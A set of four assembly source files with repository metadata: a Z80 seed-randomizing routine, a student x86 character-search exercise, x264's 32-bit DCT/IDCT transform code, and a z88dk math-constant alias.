TheStack | 1aae9c04cb175ee89162bb0d714454c1bf85ca03 | Assemblycode:Assembly | {"size": 800, "ext": "asm", "max_stars_repo_path": "libsrc/stdlib/randomize.asm", "max_stars_repo_name": "grancier/z180", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "libsrc/stdlib/randomize.asm", "max_issues_repo_name": "grancier/z180", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "libsrc/stdlib/randomize.asm", "max_forks_repo_name": "grancier/z180", "max_forks_repo_forks_event_min_datetime": "2019-12-03T23:57:48.000Z", "max_forks_repo_forks_event_max_datetime": "2019-12-03T23:57:48.000Z"} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": 1, "avg_line_length": 13.3333333333, "max_line_length": 56, "alphanum_fraction": 0.63125} | ;
; Small C+ Runtime Library
;
; Random number generator for seed
; generic version,
;
; void randomize() - randomize the seed for rand()
;
; -----
; $Id: randomize.asm,v 1.7 2016/05/17 21:43:06 dom Exp $
SECTION code_clib
PUBLIC randomize
PUBLIC _randomize
EXTERN __stdseed
EXTERN cleanup
; you must declare an integer named "__stdseed" in your
; main.c file to hold the seed.
;
; int __stdseed;
.randomize
._randomize
ld hl,0
add hl,sp
call agarble
ld e,a
ld hl,cleanup ; we fall into the CRT0 stub
ld bc,1024
sbc hl,bc
call agarble
ld h,a
IF FORrcmx000
ld a,eir
ELSE
ld a,r
ENDIF
xor e
ld l,a
ld (__stdseed),hl
ret
.agarble
ld bc,$FF04
.sloop
add (hl)
inc hl
djnz sloop
dec c
jr nz,sloop
ret
|
||||
TheStack | 2263f613a78a7a3ebfb303a61d112b6f4b0e93b9 | Assemblycode:Assembly | {"size": 1156, "ext": "asm", "max_stars_repo_path": "asm/final1.asm", "max_stars_repo_name": "IronHeart7334/AssemblyPrograms", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "asm/final1.asm", "max_issues_repo_name": "IronHeart7334/AssemblyPrograms", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "asm/final1.asm", "max_forks_repo_name": "IronHeart7334/AssemblyPrograms", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 28.1951219512, "max_line_length": 89, "alphanum_fraction": 0.6799307958} | ; general comments
; Register Dictionary:
; - EAX contains the index where the character was found (-1 if not found)
; - EBX contains the cString address
; - ECX contains the current index
; preprocessor directives
.586
.MODEL FLAT
; external files to link with
; stack configuration
.STACK 4096
; named memory allocation and initialization
.DATA
searchCString BYTE "Example search string", 0
searchFor BYTE "c"
; names of procedures defined in other *.asm files in the project
; procedure code
.CODE
main PROC
mov EAX, -1
mov ECX, 0
lea EBX, searchCString
checkCurrentByte:
cmp EAX, -1
jne doneProcessing ; IF(EAX is not -1){done processing because found}
cmp BYTE PTR [EBX + 1*ECX], 0
jmp doneProcessing ; IF(current byte is null terminator){nothing left to process}
loopBody:
cmp BYTE PTR [EBX + 1*ECX], searchFor
je yayFound
inc ECX ; else, not found
jmp checkCurrentByte
yayFound: ; if (current byte is what I'm searching for)
mov EAX, ECX ; falls though to done processing
doneProcessing:
; done
mov EAX, 0
ret
main ENDP
END
|
||||
TheStack | 0594b8bde4c003f55ffa2ffc9bc307e1d8114d4f | Assemblycode:Assembly | {"size": 16870, "ext": "asm", "max_stars_repo_path": "library/src/main/cpp/libx264/common/x86/dct-32.asm", "max_stars_repo_name": "amsterdatech/yasea_rmtp", "max_stars_repo_stars_event_min_datetime": "2016-04-07T02:40:21.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T06:10:27.000Z", "max_issues_repo_path": "library/src/main/cpp/libx264/common/x86/dct-32.asm", "max_issues_repo_name": "amsterdatech/yasea_rmtp", "max_issues_repo_issues_event_min_datetime": "2016-04-20T14:03:18.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-18T07:43:27.000Z", "max_forks_repo_path": "library/src/main/cpp/libx264/common/x86/dct-32.asm", "max_forks_repo_name": "amsterdatech/yasea_rmtp", "max_forks_repo_forks_event_min_datetime": "2016-04-07T03:54:55.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-22T07:26:51.000Z"} | {"max_stars_count": 4985, "max_issues_count": 802, "max_forks_count": 1471, "avg_line_length": 28.2579564489, "max_line_length": 78, "alphanum_fraction": 0.5432128038} | ;*****************************************************************************
;* dct-32.asm: x86_32 transform and zigzag
;*****************************************************************************
;* Copyright (C) 2003-2017 x264 project
;*
;* Authors: Loren Merritt <[email protected]>
;* Holger Lubitz <[email protected]>
;* Laurent Aimar <[email protected]>
;* Min Chen <chenm001.163.com>
;* Christian Heine <[email protected]>
;*
;* This program is free software; you can redistribute it and/or modify
;* it under the terms of the GNU General Public License as published by
;* the Free Software Foundation; either version 2 of the License, or
;* (at your option) any later version.
;*
;* This program is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
;* GNU General Public License for more details.
;*
;* You should have received a copy of the GNU General Public License
;* along with this program; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02111, USA.
;*
;* This program is also available under a commercial proprietary license.
;* For more information, contact us at [email protected].
;*****************************************************************************
%include "x86inc.asm"
%include "x86util.asm"
SECTION .text
cextern pd_32
cextern pw_pixel_max
cextern pw_2
cextern pw_m2
cextern pw_32
cextern hsub_mul
%macro SPILL_SHUFFLE 3-* ; ptr, list of regs, list of memory offsets
%xdefine %%base %1
%rep %0/2
%xdefine %%tmp m%2
%rotate %0/2
mova [%%base + %2*16], %%tmp
%rotate 1-%0/2
%endrep
%endmacro
%macro UNSPILL_SHUFFLE 3-*
%xdefine %%base %1
%rep %0/2
%xdefine %%tmp m%2
%rotate %0/2
mova %%tmp, [%%base + %2*16]
%rotate 1-%0/2
%endrep
%endmacro
%macro SPILL 2+ ; assume offsets are the same as reg numbers
SPILL_SHUFFLE %1, %2, %2
%endmacro
%macro UNSPILL 2+
UNSPILL_SHUFFLE %1, %2, %2
%endmacro
; in: size, m0..m7
; out: 0,4,6 in memory at %10,%11,%12, rest in regs
%macro DCT8_1D 12
SUMSUB_BA %1, %9, %2 ; %9 = s07, %2 = d07
SUMSUB_BA %1, %8, %3 ; %8 = s16, %3 = d16
SUMSUB_BA %1, %7, %4 ; %7 = s25, %4 = d25
SUMSUB_BA %1, %6, %5 ; %6 = s34, %5 = d34
SUMSUB_BA %1, %6, %9 ; %6 = a0, %9 = a2
SUMSUB_BA %1, %7, %8 ; %7 = a1, %8 = a3
SUMSUB_BA %1, %7, %6 ; %7 = dst0, %6 = dst4
mova %10, m%7
mova %11, m%6
psra%1 m%7, m%8, 1 ; a3>>1
padd%1 m%7, m%9 ; a2 + (a3>>1)
psra%1 m%9, 1 ; a2>>1
psub%1 m%9, m%8 ; (a2>>1) - a3
mova %12, m%9
psra%1 m%6, m%4, 1
padd%1 m%6, m%4 ; d25+(d25>>1)
psub%1 m%8, m%2, m%5 ; a5 = d07-d34-(d25+(d25>>1))
psub%1 m%8, m%6
psra%1 m%6, m%3, 1
padd%1 m%6, m%3 ; d16+(d16>>1)
padd%1 m%9, m%2, m%5
psub%1 m%9, m%6 ; a6 = d07+d34-(d16+(d16>>1))
psra%1 m%6, m%2, 1
padd%1 m%6, m%2 ; d07+(d07>>1)
padd%1 m%6, m%3
padd%1 m%6, m%4 ; a4 = d16+d25+(d07+(d07>>1))
psra%1 m%2, m%5, 1
padd%1 m%2, m%5 ; d34+(d34>>1)
padd%1 m%2, m%3
psub%1 m%2, m%4 ; a7 = d16-d25+(d34+(d34>>1))
psra%1 m%5, m%2, 2
padd%1 m%5, m%6 ; a4 + (a7>>2)
psra%1 m%4, m%9, 2
padd%1 m%4, m%8 ; a5 + (a6>>2)
psra%1 m%6, 2
psra%1 m%8, 2
psub%1 m%6, m%2 ; (a4>>2) - a7
psub%1 m%9, m%8 ; a6 - (a5>>2)
SWAP %3, %5, %4, %7, %9, %6
%endmacro
; in: size, m[1,2,3,5,6,7], 0,4 in mem at %10,%11
; out: m0..m7
%macro IDCT8_1D 11
psra%1 m%2, m%4, 1
psra%1 m%6, m%8, 1
psub%1 m%2, m%8
padd%1 m%6, m%4
psra%1 m%8, m%3, 1
padd%1 m%8, m%3
padd%1 m%8, m%5
padd%1 m%8, m%7
psra%1 m%4, m%7, 1
padd%1 m%4, m%7
padd%1 m%4, m%9
psub%1 m%4, m%3
psub%1 m%3, m%5
psub%1 m%7, m%5
padd%1 m%3, m%9
psub%1 m%7, m%9
psra%1 m%5, 1
psra%1 m%9, 1
psub%1 m%3, m%5
psub%1 m%7, m%9
psra%1 m%5, m%8, 2
psra%1 m%9, m%4, 2
padd%1 m%5, m%7
padd%1 m%9, m%3
psra%1 m%7, 2
psra%1 m%3, 2
psub%1 m%8, m%7
psub%1 m%3, m%4
mova m%4, %10
mova m%7, %11
SUMSUB_BA %1, %7, %4
SUMSUB_BA %1, %6, %7
SUMSUB_BA %1, %2, %4
SUMSUB_BA %1, %8, %6
SUMSUB_BA %1, %3, %2
SUMSUB_BA %1, %9, %4
SUMSUB_BA %1, %5, %7
SWAP %2, %4
SWAP %6, %8
SWAP %2, %6, %7
SWAP %4, %9, %8
%endmacro
%if HIGH_BIT_DEPTH
%macro SUB8x8_DCT8 0
cglobal sub8x8_dct8, 3,3,8
global current_function %+ .skip_prologue
.skip_prologue:
LOAD_DIFF8x4 0,1,2,3, none,none, r1, r2
LOAD_DIFF8x4 4,5,6,7, none,none, r1, r2
DCT8_1D w, 0,1,2,3,4,5,6,7, [r0],[r0+0x10],[r0+0x50]
mova m0, [r0]
mova [r0+0x30], m5
mova [r0+0x70], m7
TRANSPOSE4x4W 0,1,2,3,4
WIDEN_SXWD 0,4
WIDEN_SXWD 1,5
WIDEN_SXWD 2,6
WIDEN_SXWD 3,7
DCT8_1D d, 0,4,1,5,2,6,3,7, [r0],[r0+0x80],[r0+0xC0]
mova [r0+0x20], m4
mova [r0+0x40], m1
mova [r0+0x60], m5
mova [r0+0xA0], m6
mova [r0+0xE0], m7
mova m4, [r0+0x10]
mova m5, [r0+0x30]
mova m6, [r0+0x50]
mova m7, [r0+0x70]
TRANSPOSE4x4W 4,5,6,7,0
WIDEN_SXWD 4,0
WIDEN_SXWD 5,1
WIDEN_SXWD 6,2
WIDEN_SXWD 7,3
DCT8_1D d,4,0,5,1,6,2,7,3, [r0+0x10],[r0+0x90],[r0+0xD0]
mova [r0+0x30], m0
mova [r0+0x50], m5
mova [r0+0x70], m1
mova [r0+0xB0], m2
mova [r0+0xF0], m3
ret
%endmacro ; SUB8x8_DCT8
INIT_XMM sse2
SUB8x8_DCT8
INIT_XMM sse4
SUB8x8_DCT8
INIT_XMM avx
SUB8x8_DCT8
%macro ADD8x8_IDCT8 0
cglobal add8x8_idct8, 2,2
add r1, 128
global current_function %+ .skip_prologue
.skip_prologue:
UNSPILL_SHUFFLE r1, 1,2,3,5,6,7, -6,-4,-2,2,4,6
IDCT8_1D d,0,1,2,3,4,5,6,7,[r1-128],[r1+0]
mova [r1+0], m4
TRANSPOSE4x4D 0,1,2,3,4
paddd m0, [pd_32]
mova m4, [r1+0]
SPILL_SHUFFLE r1, 0,1,2,3, -8,-6,-4,-2
TRANSPOSE4x4D 4,5,6,7,3
paddd m4, [pd_32]
SPILL_SHUFFLE r1, 4,5,6,7, 0,2,4,6
UNSPILL_SHUFFLE r1, 1,2,3,5,6,7, -5,-3,-1,3,5,7
IDCT8_1D d,0,1,2,3,4,5,6,7,[r1-112],[r1+16]
mova [r1+16], m4
TRANSPOSE4x4D 0,1,2,3,4
mova m4, [r1+16]
mova [r1-112], m0
TRANSPOSE4x4D 4,5,6,7,0
SPILL_SHUFFLE r1, 4,5,6,7, 1,3,5,7
UNSPILL_SHUFFLE r1, 5,6,7, -6,-4,-2
IDCT8_1D d,4,5,6,7,0,1,2,3,[r1-128],[r1-112]
SPILL_SHUFFLE r1, 4,5,6,7,0,1,2,3, -8,-7,-6,-5,-4,-3,-2,-1
UNSPILL_SHUFFLE r1, 1,2,3,5,6,7, 2,4,6,3,5,7
IDCT8_1D d,0,1,2,3,4,5,6,7,[r1+0],[r1+16]
SPILL_SHUFFLE r1, 7,6,5, 7,6,5
mova m7, [pw_pixel_max]
pxor m6, m6
mova m5, [r1-128]
STORE_DIFF m5, m0, m6, m7, [r0+0*FDEC_STRIDEB]
mova m0, [r1-112]
STORE_DIFF m0, m1, m6, m7, [r0+1*FDEC_STRIDEB]
mova m0, [r1-96]
STORE_DIFF m0, m2, m6, m7, [r0+2*FDEC_STRIDEB]
mova m0, [r1-80]
STORE_DIFF m0, m3, m6, m7, [r0+3*FDEC_STRIDEB]
mova m0, [r1-64]
STORE_DIFF m0, m4, m6, m7, [r0+4*FDEC_STRIDEB]
mova m0, [r1-48]
mova m1, [r1+80]
STORE_DIFF m0, m1, m6, m7, [r0+5*FDEC_STRIDEB]
mova m0, [r1-32]
mova m1, [r1+96]
STORE_DIFF m0, m1, m6, m7, [r0+6*FDEC_STRIDEB]
mova m0, [r1-16]
mova m1, [r1+112]
STORE_DIFF m0, m1, m6, m7, [r0+7*FDEC_STRIDEB]
RET
%endmacro ; ADD8x8_IDCT8
INIT_XMM sse2
ADD8x8_IDCT8
INIT_XMM avx
ADD8x8_IDCT8
%else ; !HIGH_BIT_DEPTH
INIT_MMX
ALIGN 16
load_diff_4x8_mmx:
LOAD_DIFF m0, m7, none, [r1+0*FENC_STRIDE], [r2+0*FDEC_STRIDE]
LOAD_DIFF m1, m7, none, [r1+1*FENC_STRIDE], [r2+1*FDEC_STRIDE]
LOAD_DIFF m2, m7, none, [r1+2*FENC_STRIDE], [r2+2*FDEC_STRIDE]
LOAD_DIFF m3, m7, none, [r1+3*FENC_STRIDE], [r2+3*FDEC_STRIDE]
LOAD_DIFF m4, m7, none, [r1+4*FENC_STRIDE], [r2+4*FDEC_STRIDE]
LOAD_DIFF m5, m7, none, [r1+5*FENC_STRIDE], [r2+5*FDEC_STRIDE]
movq [r0], m0
LOAD_DIFF m6, m7, none, [r1+6*FENC_STRIDE], [r2+6*FDEC_STRIDE]
LOAD_DIFF m7, m0, none, [r1+7*FENC_STRIDE], [r2+7*FDEC_STRIDE]
movq m0, [r0]
ret
cglobal dct8_mmx
DCT8_1D w,0,1,2,3,4,5,6,7,[r0],[r0+0x40],[r0+0x60]
SAVE_MM_PERMUTATION
ret
;-----------------------------------------------------------------------------
; void sub8x8_dct8( int16_t dct[8][8], uint8_t *pix1, uint8_t *pix2 )
;-----------------------------------------------------------------------------
cglobal sub8x8_dct8_mmx, 3,3
global sub8x8_dct8_mmx.skip_prologue
.skip_prologue:
RESET_MM_PERMUTATION
call load_diff_4x8_mmx
call dct8_mmx
UNSPILL r0, 0
TRANSPOSE4x4W 0,1,2,3,4
SPILL r0, 0,1,2,3
UNSPILL r0, 4,6
TRANSPOSE4x4W 4,5,6,7,0
SPILL r0, 4,5,6,7
RESET_MM_PERMUTATION
add r1, 4
add r2, 4
add r0, 8
call load_diff_4x8_mmx
sub r1, 4
sub r2, 4
call dct8_mmx
sub r0, 8
UNSPILL r0+8, 4,6
TRANSPOSE4x4W 4,5,6,7,0
SPILL r0+8, 4,5,6,7
UNSPILL r0+8, 0
TRANSPOSE4x4W 0,1,2,3,5
UNSPILL r0, 4,5,6,7
SPILL_SHUFFLE r0, 0,1,2,3, 4,5,6,7
movq mm4, m6 ; depends on the permutation to not produce conflicts
movq mm0, m4
movq mm1, m5
movq mm2, mm4
movq mm3, m7
RESET_MM_PERMUTATION
UNSPILL r0+8, 4,5,6,7
add r0, 8
call dct8_mmx
sub r0, 8
SPILL r0+8, 1,2,3,5,7
RESET_MM_PERMUTATION
UNSPILL r0, 0,1,2,3,4,5,6,7
call dct8_mmx
SPILL r0, 1,2,3,5,7
ret
cglobal idct8_mmx
IDCT8_1D w,0,1,2,3,4,5,6,7,[r1+0],[r1+64]
SAVE_MM_PERMUTATION
ret
%macro ADD_STORE_ROW 3
movq m1, [r0+%1*FDEC_STRIDE]
punpckhbw m2, m1, m0
punpcklbw m1, m0
paddw m1, %2
paddw m2, %3
packuswb m1, m2
movq [r0+%1*FDEC_STRIDE], m1
%endmacro
;-----------------------------------------------------------------------------
; void add8x8_idct8( uint8_t *dst, int16_t dct[8][8] )
;-----------------------------------------------------------------------------
cglobal add8x8_idct8_mmx, 2,2
global add8x8_idct8_mmx.skip_prologue
.skip_prologue:
INIT_MMX
add word [r1], 32
UNSPILL r1, 1,2,3,5,6,7
call idct8_mmx
SPILL r1, 7
TRANSPOSE4x4W 0,1,2,3,7
SPILL r1, 0,1,2,3
UNSPILL r1, 7
TRANSPOSE4x4W 4,5,6,7,0
SPILL r1, 4,5,6,7
INIT_MMX
UNSPILL r1+8, 1,2,3,5,6,7
add r1, 8
call idct8_mmx
sub r1, 8
SPILL r1+8, 7
TRANSPOSE4x4W 0,1,2,3,7
SPILL r1+8, 0,1,2,3
UNSPILL r1+8, 7
TRANSPOSE4x4W 4,5,6,7,0
SPILL r1+8, 4,5,6,7
INIT_MMX
movq m3, [r1+0x08]
movq m0, [r1+0x40]
movq [r1+0x40], m3
movq [r1+0x08], m0
; memory layout at this time:
; A0------ A1------
; B0------ F0------
; C0------ G0------
; D0------ H0------
; E0------ E1------
; B1------ F1------
; C1------ G1------
; D1------ H1------
UNSPILL_SHUFFLE r1, 1,2,3, 5,6,7
UNSPILL r1+8, 5,6,7
add r1, 8
call idct8_mmx
sub r1, 8
psraw m0, 6
psraw m1, 6
psraw m2, 6
psraw m3, 6
psraw m4, 6
psraw m5, 6
psraw m6, 6
psraw m7, 6
movq [r1+0x08], m0 ; mm4
movq [r1+0x48], m4 ; mm5
movq [r1+0x58], m5 ; mm0
movq [r1+0x68], m6 ; mm2
movq [r1+0x78], m7 ; mm6
movq mm5, [r1+0x18]
movq mm6, [r1+0x28]
movq [r1+0x18], m1 ; mm1
movq [r1+0x28], m2 ; mm7
movq mm7, [r1+0x38]
movq [r1+0x38], m3 ; mm3
movq mm1, [r1+0x10]
movq mm2, [r1+0x20]
movq mm3, [r1+0x30]
call idct8_mmx
psraw m0, 6
psraw m1, 6
psraw m2, 6
psraw m3, 6
psraw m4, 6
psraw m5, 6
psraw m6, 6
psraw m7, 6
SPILL r1, 0,1,2
pxor m0, m0
ADD_STORE_ROW 0, [r1+0x00], [r1+0x08]
ADD_STORE_ROW 1, [r1+0x10], [r1+0x18]
ADD_STORE_ROW 2, [r1+0x20], [r1+0x28]
ADD_STORE_ROW 3, m3, [r1+0x38]
ADD_STORE_ROW 4, m4, [r1+0x48]
ADD_STORE_ROW 5, m5, [r1+0x58]
ADD_STORE_ROW 6, m6, [r1+0x68]
ADD_STORE_ROW 7, m7, [r1+0x78]
ret
%macro DCT_SUB8 0
cglobal sub8x8_dct, 3,3
add r2, 4*FDEC_STRIDE
global current_function %+ .skip_prologue
.skip_prologue:
%if cpuflag(ssse3)
mova m7, [hsub_mul]
%endif
LOAD_DIFF8x4 0, 1, 2, 3, 6, 7, r1, r2-4*FDEC_STRIDE
SPILL r0, 1,2
SWAP 2, 7
LOAD_DIFF8x4 4, 5, 6, 7, 1, 2, r1, r2-4*FDEC_STRIDE
UNSPILL r0, 1
SPILL r0, 7
SWAP 2, 7
UNSPILL r0, 2
DCT4_1D 0, 1, 2, 3, 7
TRANSPOSE2x4x4W 0, 1, 2, 3, 7
UNSPILL r0, 7
SPILL r0, 2
DCT4_1D 4, 5, 6, 7, 2
TRANSPOSE2x4x4W 4, 5, 6, 7, 2
UNSPILL r0, 2
SPILL r0, 6
DCT4_1D 0, 1, 2, 3, 6
UNSPILL r0, 6
STORE_DCT 0, 1, 2, 3, r0, 0
DCT4_1D 4, 5, 6, 7, 3
STORE_DCT 4, 5, 6, 7, r0, 64
ret
;-----------------------------------------------------------------------------
; void sub8x8_dct8( int16_t dct[8][8], uint8_t *pix1, uint8_t *pix2 )
;-----------------------------------------------------------------------------
cglobal sub8x8_dct8, 3,3
add r2, 4*FDEC_STRIDE
global current_function %+ .skip_prologue
.skip_prologue:
%if cpuflag(ssse3)
mova m7, [hsub_mul]
LOAD_DIFF8x4 0, 1, 2, 3, 4, 7, r1, r2-4*FDEC_STRIDE
SPILL r0, 0,1
SWAP 1, 7
LOAD_DIFF8x4 4, 5, 6, 7, 0, 1, r1, r2-4*FDEC_STRIDE
UNSPILL r0, 0,1
%else
LOAD_DIFF m0, m7, none, [r1+0*FENC_STRIDE], [r2-4*FDEC_STRIDE]
LOAD_DIFF m1, m7, none, [r1+1*FENC_STRIDE], [r2-3*FDEC_STRIDE]
LOAD_DIFF m2, m7, none, [r1+2*FENC_STRIDE], [r2-2*FDEC_STRIDE]
LOAD_DIFF m3, m7, none, [r1+3*FENC_STRIDE], [r2-1*FDEC_STRIDE]
LOAD_DIFF m4, m7, none, [r1+4*FENC_STRIDE], [r2+0*FDEC_STRIDE]
LOAD_DIFF m5, m7, none, [r1+5*FENC_STRIDE], [r2+1*FDEC_STRIDE]
SPILL r0, 0
LOAD_DIFF m6, m7, none, [r1+6*FENC_STRIDE], [r2+2*FDEC_STRIDE]
LOAD_DIFF m7, m0, none, [r1+7*FENC_STRIDE], [r2+3*FDEC_STRIDE]
UNSPILL r0, 0
%endif
DCT8_1D w,0,1,2,3,4,5,6,7,[r0],[r0+0x40],[r0+0x60]
UNSPILL r0, 0,4
TRANSPOSE8x8W 0,1,2,3,4,5,6,7,[r0+0x60],[r0+0x40],1
UNSPILL r0, 4
DCT8_1D w,0,1,2,3,4,5,6,7,[r0],[r0+0x40],[r0+0x60]
SPILL r0, 1,2,3,5,7
ret
%endmacro
INIT_XMM sse2
%define movdqa movaps
%define punpcklqdq movlhps
DCT_SUB8
%undef movdqa
%undef punpcklqdq
INIT_XMM ssse3
DCT_SUB8
INIT_XMM avx
DCT_SUB8
INIT_XMM xop
DCT_SUB8
;-----------------------------------------------------------------------------
; void add8x8_idct( uint8_t *pix, int16_t dct[4][4][4] )
;-----------------------------------------------------------------------------
%macro ADD8x8 0
cglobal add8x8_idct, 2,2
add r0, 4*FDEC_STRIDE
global current_function %+ .skip_prologue
.skip_prologue:
UNSPILL_SHUFFLE r1, 0,2,1,3, 0,1,2,3
SBUTTERFLY qdq, 0, 1, 4
SBUTTERFLY qdq, 2, 3, 4
UNSPILL_SHUFFLE r1, 4,6,5,7, 4,5,6,7
SPILL r1, 0
SBUTTERFLY qdq, 4, 5, 0
SBUTTERFLY qdq, 6, 7, 0
UNSPILL r1,0
IDCT4_1D w,0,1,2,3,r1
SPILL r1, 4
TRANSPOSE2x4x4W 0,1,2,3,4
UNSPILL r1, 4
IDCT4_1D w,4,5,6,7,r1
SPILL r1, 0
TRANSPOSE2x4x4W 4,5,6,7,0
UNSPILL r1, 0
paddw m0, [pw_32]
IDCT4_1D w,0,1,2,3,r1
paddw m4, [pw_32]
IDCT4_1D w,4,5,6,7,r1
SPILL r1, 6,7
pxor m7, m7
DIFFx2 m0, m1, m6, m7, [r0-4*FDEC_STRIDE], [r0-3*FDEC_STRIDE]; m5
DIFFx2 m2, m3, m6, m7, [r0-2*FDEC_STRIDE], [r0-1*FDEC_STRIDE]; m5
UNSPILL_SHUFFLE r1, 0,2, 6,7
DIFFx2 m4, m5, m6, m7, [r0+0*FDEC_STRIDE], [r0+1*FDEC_STRIDE]; m5
DIFFx2 m0, m2, m6, m7, [r0+2*FDEC_STRIDE], [r0+3*FDEC_STRIDE]; m5
STORE_IDCT m1, m3, m5, m2
ret
%endmacro ; ADD8x8
INIT_XMM sse2
ADD8x8
INIT_XMM avx
ADD8x8
;-----------------------------------------------------------------------------
; void add8x8_idct8( uint8_t *p_dst, int16_t dct[8][8] )
;-----------------------------------------------------------------------------
%macro ADD8x8_IDCT8 0
cglobal add8x8_idct8, 2,2
add r0, 4*FDEC_STRIDE
global current_function %+ .skip_prologue
.skip_prologue:
UNSPILL r1, 1,2,3,5,6,7
IDCT8_1D w,0,1,2,3,4,5,6,7,[r1+0],[r1+64]
SPILL r1, 6
TRANSPOSE8x8W 0,1,2,3,4,5,6,7,[r1+0x60],[r1+0x40],1
paddw m0, [pw_32]
SPILL r1, 0
IDCT8_1D w,0,1,2,3,4,5,6,7,[r1+0],[r1+64]
SPILL r1, 6,7
pxor m7, m7
DIFFx2 m0, m1, m6, m7, [r0-4*FDEC_STRIDE], [r0-3*FDEC_STRIDE]; m5
DIFFx2 m2, m3, m6, m7, [r0-2*FDEC_STRIDE], [r0-1*FDEC_STRIDE]; m5
UNSPILL_SHUFFLE r1, 0,2, 6,7
DIFFx2 m4, m5, m6, m7, [r0+0*FDEC_STRIDE], [r0+1*FDEC_STRIDE]; m5
DIFFx2 m0, m2, m6, m7, [r0+2*FDEC_STRIDE], [r0+3*FDEC_STRIDE]; m5
STORE_IDCT m1, m3, m5, m2
ret
%endmacro ; ADD8x8_IDCT8
INIT_XMM sse2
ADD8x8_IDCT8
INIT_XMM avx
ADD8x8_IDCT8
%endif ; !HIGH_BIT_DEPTH
|
||||
TheStack | 85200d435366c86bc6f42855badd5ff2f21e43b4 | Assemblycode:Assembly | {"size": 102, "ext": "asm", "max_stars_repo_path": "libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_dconst_e.asm", "max_stars_repo_name": "meesokim/z88dk", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_dconst_e.asm", "max_issues_repo_name": "meesokim/z88dk", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "libsrc/_DEVELOPMENT/math/float/math48/lm/z80/asm_dconst_e.asm", "max_forks_repo_name": "meesokim/z88dk", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 11.3333333333, "max_line_length": 33, "alphanum_fraction": 0.8529411765} |
SECTION code_fp_math48
PUBLIC asm_dconst_e
EXTERN am48_dconst_e
defc asm_dconst_e = am48_dconst_e
|